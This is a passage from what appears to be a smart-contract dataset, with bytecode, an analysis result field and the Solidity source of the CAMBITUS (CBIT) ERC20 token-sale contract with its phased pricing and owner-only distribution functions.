578182fd5b610b5487828801610942565b91505092959194509250565b600060208284031215610b71578081fd5b81518015158114610a28578182fd5b600060208284031215610b91578081fd5b5035919050565b60008060408385031215610baa578182fd5b82359150610bbb846020850161092b565b90509250929050565b600080600060608486031215610bd8578283fd5b505081359360208301359350604090920135919050565b60008060408385031215610c01578182fd5b50508035926020909101359150565b60609290921b6bffffffffffffffffffffffff19168252601482015260340190565b918252602082015260400190565b6001600160a01b0391909116815260200190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160a01b03929092168252602082015260400190565b6020808252825182820181905260009190848201906040850190845b81811015610ccb578351151583529284019291840191600101610cad565b50909695505050505050565b6020808252825182820181905260009190848201906040850190845b81811015610ccb57835183529284019291840191600101610cf3565b901515815260200190565b90815260200190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526016908201527524b731b7b93932b1ba1036b2b935b63290383937b7b360511b604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526013908201527211549497d514905394d1915497d19052531151606a1b604082015260600190565b6020808252601a908201527f63616e6e6f742072657772697465206d65726b6c6520726f6f74000000000000604082015260600190565b60405181810167ffffffffffffffff81118282101715610e5157600080fd5b604052919050565b600067ffffffffffffffff821115610e6f578081fd5b506020908102019056fea264697066735822122052c59699bbfa33c0e1c6d4cf5119a8971497337139c1aaa5133df6d64302676564736f6c63430006080033 | {"success": true, "error": null, "results": {}} | 9,946 |
0x9b041285587b701b703cbb40256558f0f3b94ed3 | pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public{
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner==msg.sender);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
owner = newOwner;
}
}
contract ERC20 {
function totalSupply() public constant returns (uint256);
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool success);
function transferFrom(address from, address to, uint256 value) public returns (bool success);
function approve(address spender, uint256 value) public returns (bool success);
function allowance(address owner, address spender) public constant returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract CBITToken is Ownable, ERC20 {
using SafeMath for uint256;
// Token properties
string public name = "CAMBITUS";
string public symbol = "CBIT";
uint256 public decimals = 18;
uint256 public _totalSupply = 250000000e18;
uint256 public _icoSupply = 156250000e18; //62.5%
uint256 public _preSaleSupply = 43750000e18; //17.5%
uint256 public _phase1Supply = 50000000e18; //20%
uint256 public _phase2Supply = 50000000e18; //20%
uint256 public _finalSupply = 12500000e18; //5%
uint256 public _teamSupply = 43750000e18; //17.5%
uint256 public _communitySupply = 12500000e18; //5%
uint256 public _bountySupply = 12500000e18; //5%
uint256 public _ecosysSupply = 25000000e18; //10%
// Balances for each account
mapping (address => uint256) balances;
// Owner of account approves the transfer of an amount to another account
mapping (address => mapping(address => uint256)) allowed;
// start and end timestamps where investments are allowed (both inclusive)
uint256 public startTime;
// Wallet Address of Token
address public multisig;
// how many token units a buyer gets per wei
uint256 public price;
uint256 public minContribAmount = 1 ether;
uint256 public maxCap = 81000 ether;
uint256 public minCap = 450 ether;
//number of total tokens sold
uint256 public totalNumberTokenSold=0;
bool public tradable = false;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
modifier canTradable() {
require(tradable || (now > startTime + 180 days));
_;
}
// Constructor
// @notice CBITToken Contract
// @return the transaction address
function CBITToken() public{
multisig = 0xAfC252F597bd592276C6846cD44d1F82d87e63a2;
balances[multisig] = _totalSupply;
startTime = 1525150800;
owner = msg.sender;
}
// Payable method
// @notice Anyone can buy the tokens on tokensale by paying ether
function () external payable {
tokensale(msg.sender);
}
// @notice tokensale
// @param recipient The address of the recipient
// @return the transaction address and send the event as Transfer
function tokensale(address recipient) public payable {
require(recipient != 0x0);
require(msg.value >= minContribAmount);
price = getPrice();
uint256 weiAmount = msg.value;
uint256 tokenToSend = weiAmount.mul(price);
require(tokenToSend > 0);
require(_icoSupply >= tokenToSend);
balances[multisig] = balances[multisig].sub(tokenToSend);
balances[recipient] = balances[recipient].add(tokenToSend);
totalNumberTokenSold=totalNumberTokenSold.add(tokenToSend);
_icoSupply = _icoSupply.sub(tokenToSend);
multisig.transfer(msg.value);
TokenPurchase(msg.sender, recipient, weiAmount, tokenToSend);
}
// Token distribution to Team
function sendICOSupplyToken(address to, uint256 value) public onlyOwner {
require (
to != 0x0 && value > 0 && _icoSupply >= value
);
balances[multisig] = balances[multisig].sub(value);
balances[to] = balances[to].add(value);
_icoSupply = _icoSupply.sub(value);
totalNumberTokenSold=totalNumberTokenSold.add(value);
Transfer(multisig, to, value);
}
// Token distribution to Team
function sendTeamSupplyToken(address to, uint256 value) public onlyOwner {
require (
to != 0x0 && value > 0 && _teamSupply >= value
);
balances[multisig] = balances[multisig].sub(value);
balances[to] = balances[to].add(value);
totalNumberTokenSold=totalNumberTokenSold.add(value);
_teamSupply = _teamSupply.sub(value);
Transfer(multisig, to, value);
}
// Token distribution to Community
function sendCommunitySupplyToken(address to, uint256 value) public onlyOwner {
require (
to != 0x0 && value > 0 && _communitySupply >= value
);
balances[multisig] = balances[multisig].sub(value);
balances[to] = balances[to].add(value);
totalNumberTokenSold=totalNumberTokenSold.add(value);
_communitySupply = _communitySupply.sub(value);
Transfer(multisig, to, value);
}
// Token distribution to Bounty
function sendBountySupplyToken(address to, uint256 value) public onlyOwner {
require (
to != 0x0 && value > 0 && _bountySupply >= value
);
balances[multisig] = balances[multisig].sub(value);
balances[to] = balances[to].add(value);
totalNumberTokenSold=totalNumberTokenSold.add(value);
_bountySupply = _bountySupply.sub(value);
Transfer(multisig, to, value);
}
// Token distribution to Ecosystem
function sendEcosysSupplyToken(address to, uint256 value) public onlyOwner {
require (
to != 0x0 && value > 0 && _ecosysSupply >= value
);
balances[multisig] = balances[multisig].sub(value);
balances[to] = balances[to].add(value);
totalNumberTokenSold=totalNumberTokenSold.add(value);
_ecosysSupply = _ecosysSupply.sub(value);
Transfer(multisig, to, value);
}
// Start or pause tradable to Transfer token
function startTradable(bool _tradable) public onlyOwner {
tradable = _tradable;
}
// @return total tokens supplied
function totalSupply() public constant returns (uint256) {
return _totalSupply;
}
// @return total tokens supplied
function totalNumberTokenSold() public view returns (uint256) {
return totalNumberTokenSold;
}
// What is the balance of a particular account?
// @param who The address of the particular account
// @return the balanace the particular account
function balanceOf(address who) public constant returns (uint256) {
return balances[who];
}
// @notice send `value` token to `to` from `msg.sender`
// @param to The address of the recipient
// @param value The amount of token to be transferred
// @return the transaction address and send the event as Transfer
function transfer(address to, uint256 value) public canTradable returns (bool success) {
require (
balances[msg.sender] >= value && value > 0
);
balances[msg.sender] = balances[msg.sender].sub(value);
balances[to] = balances[to].add(value);
Transfer(msg.sender, to, value);
return true;
}
// @notice send `value` token to `to` from `from`
// @param from The address of the sender
// @param to The address of the recipient
// @param value The amount of token to be transferred
// @return the transaction address and send the event as Transfer
function transferFrom(address from, address to, uint256 value) public canTradable returns (bool success) {
require (
allowed[from][msg.sender] >= value && balances[from] >= value && value > 0
);
balances[from] = balances[from].sub(value);
balances[to] = balances[to].add(value);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(value);
Transfer(from, to, value);
return true;
}
// Allow spender to withdraw from your account, multiple times, up to the value amount.
// If this function is called again it overwrites the current allowance with value.
// @param spender The address of the sender
// @param value The amount to be approved
// @return the transaction address and send the event as Approval
function approve(address spender, uint256 value) public returns (bool success) {
require (
balances[msg.sender] >= value && value > 0
);
allowed[msg.sender][spender] = value;
Approval(msg.sender, spender, value);
return true;
}
// Check the allowed value for the spender to withdraw from owner
// @param owner The address of the owner
// @param spender The address of the spender
// @return the amount which spender is still allowed to withdraw from owner
function allowance(address _owner, address spender) public constant returns (uint256) {
return allowed[_owner][spender];
}
// Get current price of a Token
// @return the price or token value for a ether
function getPrice() public view returns (uint result) {
if ( (now < startTime + 30 days) && (totalNumberTokenSold < _preSaleSupply)) {
return 7500;
} else if ( (now < startTime + 60 days) && (totalNumberTokenSold < _preSaleSupply + _phase1Supply) ) {
return 5000;
} else if ( (now < startTime + 90 days) && (totalNumberTokenSold < _preSaleSupply + _phase1Supply + _phase2Supply) ) {
return 3125;
} else if ( (now < startTime + 99 days) && (totalNumberTokenSold < _preSaleSupply + _phase1Supply + _phase2Supply + _finalSupply) ) {
return 1500;
} else {
return 0;
}
}
function getTokenDetail() public view returns (string, string, uint256, uint256, uint256, uint256, uint256, uint256, uint256) {
return (name, symbol, _totalSupply, totalNumberTokenSold, _icoSupply, _teamSupply, _communitySupply, _bountySupply, _ecosysSupply);
}
} | 0x6060604052600436106101d8576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630517431e146101e357806306fdde031461020c578063095ea7b31461029a57806318160ddd146102f457806323548b8b1461031d57806323b872dd146103465780632641d381146103bf578063289de615146103e8578063313ce567146105135780633c50afe11461053c5780633eaaf86b146105655780633fa615b01461058e5780634783c35b146105b75780635265565e1461060c57806354840c6e146106355780635b55169c1461066257806365d51dd51461068b5780636c5e9e18146106b457806370a08231146106dd57806378e979251461072a5780638508d88f146107535780638aaf699d146107955780638da5cb5b146107d757806395d89b411461082c57806396687919146108ba57806398d5fdca146108e35780639baddd981461090c5780639bfaa24b1461094e578063a035b1fe14610973578063a9059cbb1461099c578063b113d9dc146109f6578063bab5714c14610a24578063bfc0cc5c14610a66578063c1aaa71714610aa8578063ca48284914610ad1578063dd62ed3e14610afa578063f0eb29fb14610b66578063f2fde38b14610b8f575b6101e133610bc8565b005b34156101ee57600080fd5b6101f6610ec2565b6040518082815260200191505060405180910390f35b341561021757600080fd5b61021f610ec8565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561025f578082015181840152602081019050610244565b50505050905090810190601f16801561028c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156102a557600080fd5b6102da600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610f66565b604051808215151515815260200191505060405180910390f35b34156102ff57600080fd5b6103076110b2565b6040518082815260200191505060405180910390f35b341561032857600080fd5b6103306110bc565b6040518082815260200191505060405180910390f35b341561035157600080fd5b6103a5600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506110c2565b604051808215151515815260200191505060405180910390f35b34156103ca57600080fd5b6103d261147b565b6040518082815260200191505060405180910390f35b34156103f357600080fd5b6103fb611485565b6040518080602001806020018a815260200189815260200188815260200187815260200186815260200185815260200184815260200183810383528c818151815260200191508051906020019080838360005b8381101561046957808201518184015260208101905061044e565b50505050905090810190601f1680156104965780820380516001836020036101000a031916815260200191505b5083810382528b818151815260200191508051906020019080838360005b838110156104cf5780820151818401526020810190506104b4565b50505050905090810190601f1680156104fc5780820380516001836020036101000a031916815260200191505b509b50505050505050505050505060405180910390f35b341561051e57600080fd5b61052661160e565b6040518082815260200191505060405180910390f35b341561054757600080fd5b61054f611614565b6040518082815260200191505060405180910390f35b341561057057600080fd5b61057861161a565b6040518082815260200191505060405180910390f35b341561059957600080fd5b6105a1611620565b6040518082815260200191505060405180910390f35b34156105c257600080fd5b6105ca611626565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561061757600080fd5b61061f61164c565b6040518082815260200191505060405180910390f35b341561064057600080fd5b610648611652565b604051808215151515815260200191505060405180910390f35b341561066d57600080fd5b610675611665565b6040518082815260200191505060405180910390f35b341561069657600080fd5b61069e61166b565b6040518082815260200191505060405180910390f35b34156106bf57600080fd5b6106c7611671565b6040518082815260200191505060405180910390f35b34156106e857600080fd5b610714600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611677565b6040518082815260200191505060405180910390f35b341561073557600080fd5b61073d6116c0565b6040518082815260200191505060405180910390f35b341561075e57600080fd5b610793600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506116c6565b005b34156107a057600080fd5b6107d5600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611990565b005b34156107e257600080fd5b6107ea611c5a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561083757600080fd5b61083f611c7f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561087f578082015181840152602081019050610864565b50505050905090810190601f1680156108ac5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156108c557600080fd5b6108cd611d1d565b6040518082815260200191505060405180910390f35b34156108ee57600080fd5b6108f6611d23565b6040518082815260200191505060405180910390f35b341561091757600080fd5b61094c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611de5565b005b341561095957600080fd5b610971600480803515159060200190919050506120af565b005b341561097e57600080fd5b610986612127565b6040518082815260200191505060405180910390f35b34156109a757600080fd5b6109dc600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061212d565b604051808215151515815260200191505060405180910390f35b610a22600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610bc8565b005b3415610a2f57600080fd5b610a64600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061234e565b005b3415610a7157600080fd5b610aa6600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050612618565b005b3415610ab357600080fd5b610abb6128e2565b6040518082815260200191505060405180910390f35b3415610adc57600080fd5b610ae46128e8565b6040518082815260200191505060405180910390f35b3415610b0557600080fd5b610b50600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506128ee565b6040518082815260200191505060405180910390f35b3415610b7157600080fd5b610b79612975565b6040518082815260200191505060405180910390f35b3415610b9a57600080fd5b610bc6600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061297b565b005b60008060008373ffffffffffffffffffffffffffffffffffffffff1614151515610bf157600080fd5b6013543410151515610c0257600080fd5b610c0a611d23565b601281905550349150610c2860125483612a1990919063ffffffff16565b9050600081111515610c3957600080fd5b8060055410151515610c4a57600080fd5b610cbe81600e6000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a4c90919063ffffffff16565b600e6000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7581600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a6590919063ffffffff16565b600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610dcd81601654612a6590919063ffffffff16565b601681905550610de881600554612a4c90919063ffffffff16565b600581905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501515610e5057600080fd5b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad188484604051808381526020018281526020019250505060405180910390a3505050565b600a5481565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f5e5780601f10610f3357610100808354040283529160200191610f5e565b820191906000526020600020905b815481529060010190602001808311610f4157829003601f168201915b505050505081565b600081600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610fb75750600082115b1515610fc257600080fd5b81600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600454905090565b60145481565b6000601760009054906101000a900460ff16806110e5575062ed4e006010540142115b15156110f057600080fd5b81600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156111bb575081600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156111c75750600082115b15156111d257600080fd5b61122482600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a4c90919063ffffffff16565b600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112b982600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a6590919063ffffffff16565b600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061138b82600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a4c90919063ffffffff16565b600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000601654905090565b61148d612a83565b611495612a83565b600080600080600080600060016002600454601654600554600a54600b54600c54600d54888054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561154e5780601f106115235761010080835404028352916020019161154e565b820191906000526020600020905b81548152906001019060200180831161153157829003601f168201915b50505050509850878054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115ea5780601f106115bf576101008083540402835291602001916115ea565b820191906000526020600020905b8154815290600101906020018083116115cd57829003601f168201915b50505050509750985098509850985098509850985098509850909192939495969798565b60035481565b60055481565b60045481565b60155481565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d5481565b601760009054906101000a900460ff1681565b60135481565b60085481565b60075481565b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60105481565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561172157600080fd5b60008273ffffffffffffffffffffffffffffffffffffffff16141580156117485750600081115b801561175657508060055410155b151561176157600080fd5b6117d581600e6000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a4c90919063ffffffff16565b600e6000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061188c81600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a6590919063ffffffff16565b600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118e481600554612a4c90919063ffffffff16565b6005819055506118ff81601654612a6590919063ffffffff16565b6016819055508173ffffffffffffffffffffffffffffffffffffffff16601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156119eb57600080fd5b60008273ffffffffffffffffffffffffffffffffffffffff1614158015611a125750600081115b8015611a20575080600b5410155b1515611a2b57600080fd5b611a9f81600e6000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a4c90919063ffffffff16565b600e6000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b5681600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a6590919063ffffffff16565b600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611bae81601654612a6590919063ffffffff16565b601681905550611bc981600b54612a4c90919063ffffffff16565b600b819055508173ffffffffffffffffffffffffffffffffffffffff16601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611d155780601f10611cea57610100808354040283529160200191611d15565b820191906000526020600020905b815481529060010190602001808311611cf857829003601f168201915b505050505081565b60065481565b600062278d006010540142108015611d3e5750600654601654105b15611d4d57611d4c9050611de2565b624f1a006010540142108015611d6a575060075460065401601654105b15611d79576113889050611de2565b6276a7006010540142108015611d9a57506008546007546006540101601654105b15611da957610c359050611de2565b628284806010540142108015611dce5750600954600854600754600654010101601654105b15611ddd576105dc9050611de2565b600090505b90565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611e4057600080fd5b60008273ffffffffffffffffffffffffffffffffffffffff1614158015611e675750600081115b8015611e75575080600c5410155b1515611e8057600080fd5b611ef481600e6000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a4c90919063ffffffff16565b600e6000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fab81600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a6590919063ffffffff16565b600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061200381601654612a6590919063ffffffff16565b60168190555061201e81600c54612a4c90919063ffffffff16565b600c819055508173ffffffffffffffffffffffffffffffffffffffff16601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561210a57600080fd5b80601760006101000a81548160ff02191690831515021790555050565b60125481565b6000601760009054906101000a900460ff1680612150575062ed4e006010540142115b151561215b57600080fd5b81600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156121aa5750600082115b15156121b557600080fd5b61220782600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a4c90919063ffffffff16565b600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061229c82600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a6590919063ffffffff16565b600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156123a957600080fd5b60008273ffffffffffffffffffffffffffffffffffffffff16141580156123d05750600081115b80156123de575080600a5410155b15156123e957600080fd5b61245d81600e6000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a4c90919063ffffffff16565b600e6000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061251481600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a6590919063ffffffff16565b600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061256c81601654612a6590919063ffffffff16565b60168190555061258781600a54612a4c90919063ffffffff16565b600a819055508173ffffffffffffffffffffffffffffffffffffffff16601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561267357600080fd5b60008273ffffffffffffffffffffffffffffffffffffffff161415801561269a5750600081115b80156126a8575080600d5410155b15156126b357600080fd5b61272781600e6000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a4c90919063ffffffff16565b600e6000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127de81600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a6590919063ffffffff16565b600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283681601654612a6590919063ffffffff16565b60168190555061285181600d54612a4c90919063ffffffff16565b600d819055508173ffffffffffffffffffffffffffffffffffffffff16601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600c5481565b60095481565b6000600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600b5481565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156129d657600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008082840290506000841480612a3a5750828482811515612a3757fe5b04145b1515612a4257fe5b8091505092915050565b6000828211151515612a5a57fe5b818303905092915050565b6000808284019050838110151515612a7957fe5b8091505092915050565b6020604051908101604052806000815250905600a165627a7a7230582059155c2f8e10669369f9ed36485ee795b144095da4a77d513b31ba86023684310029 | {"success": true, "error": null, "results": {}} | 9,947 |
0x69479b2f0cd598d1dc63582e46644acdc54172e3 | /**
*Submitted for verification at Etherscan.io on 2021-11-30
*/
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
